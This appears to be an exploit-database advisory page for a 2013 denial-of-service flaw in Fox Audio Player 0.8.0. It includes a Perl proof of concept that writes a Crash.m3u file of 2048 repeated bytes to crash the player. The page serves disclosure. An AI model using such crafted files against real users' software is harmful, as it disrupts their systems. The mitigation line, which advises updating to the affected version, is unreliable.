Fox Audio Player 0.8.0 .m3u Denial of Service Vulnerability

vendor:

Fox Audio Player

by:

4n0nym0us (Arash Sa'adatfar)

7,5

CVSS

HIGH

Denial of Service

CWE

Product Name: Fox Audio Player

Affected Version From: 0.8.0

Affected Version To: 0.8.0

Patch Exists: Yes

Related CWE: N/A

CPE: a:leandro_nini:fox_audio_player

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP Sp3 32-bit / Windows 7 Ultimate 32-bit

2013

Fox Audio Player 0.8.0 .m3u Denial of Service Vulnerability

A denial of service vulnerability exists in Fox Audio Player 0.8.0 due to a lack of proper validation of user-supplied data. An attacker can exploit this vulnerability by creating a specially crafted .m3u file containing a large amount of data, which when opened in Fox Audio Player 0.8.0 will cause the application to crash.

Mitigation:

Update to the latest version of Fox Audio Player 0.8.0 or later.

Source

Exploit-DB raw data:

#
#########################################################################################
#                                                                                       #
#  Title: Fox Audio Player 0.8.0 .m3u Denial of Service Vulnerability                   #
#  Author: 4n0nym0us (Arash Sa'adatfar)                                                 #
#  Developer: Leandro Nini                                                              #
#                                                                                       #
#  Software Link:                                                                       #
#  http://www.softpedia.com/get/Multimedia/Audio/Audio-Players/Fox-Audio-Player.shtml   #
#  Tested On: Windows XP Sp3 32-bit / Windows 7 Ultimate 32-bit                         #
#                                                                                       #
#########################################################################################
#
#!/usr/bin/perl
my $file= "Crash.m3u";
my $junk= "\x41" x 2048;
open($FILE,">$file");
print $FILE $junk;
print "\nCrash.m3u File Created successfully\n";
close($FILE);